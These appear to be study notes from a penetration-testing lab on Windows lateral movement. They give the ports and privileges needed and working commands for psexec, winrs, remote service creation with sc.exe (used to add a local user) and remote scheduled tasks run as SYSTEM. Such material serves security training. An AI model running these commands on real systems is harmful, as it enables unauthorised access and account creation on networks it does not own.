Skip to content

Lateral Movement and Pivoting

Lateral movement is the group of techniques used by attackers to move around a network. Once an attacker has gained access to the first machine of a network, moving is essential for many reasons, including the following: - Reaching our goals as attackers - Bypassing network restrictions in place - Establishing additional points of entry to the network - Creating confusion and avoid detection.

                     +------------------+
                     |     Psexec       |
                     +------------------+
                     +------------------+
                     |      WinRM       |
                     +------------------+
+------------------+ +------------------+ +------------------+
|    MACHINE 1     | |       SSH        | |    MACHINE 2     |
+------------------+ +------------------+ +------------------+
                     +------------------+
                     |       RDP        |
                     +------------------+
                     +------------------+
                     |       VNC        |
                     +------------------+

Spawning Processes Remotely

Psexec

  • Ports: 445/TCP (SMB)
  • Required Group Memberships: Administrators
    psexec64.exe \\MACHINE_IP -u Administrator -p Mypass123 -i cmd.exe
    

winrm - Remote Process Creation

  • Ports: 5985/TCP (WinRM HTTP) or 5986/TCP (WinRM HTTPS)
  • Required Group Memberships: Remote Management Users
    winrs.exe -u:Administrator -p:Mypass123 -r:target cmd
    

cs - Remote Services Creation

  • Ports:
    • 135/TCP, 49152-65535/TCP (DCE/RPC)
    • 445/TCP (RPC over SMB Named Pipes)
    • 139/TCP (RPC over SMB Named Pipes)
  • Required Group Memberships: Administrators
    sc.exe \\TARGET create THMservice binPath= "net user munra Pass123 /add" start= auto
    sc.exe \\TARGET start THMservice
    
sc.exe \\TARGET stop THMservice
sc.exe \\TARGET delete THMservice

schtasks - Remot Scheduled Tasks Creation

schtasks /s TARGET /RU "SYSTEM" /create /tn "THMtask1" /tr "<command/payload to execute>" /sc ONCE /sd 01/01/1970 /st 00:00 
schtasks /s TARGET /run /TN "THMtask1" 
schtasks /S TARGET /TN "THMtask1" /DELETE /F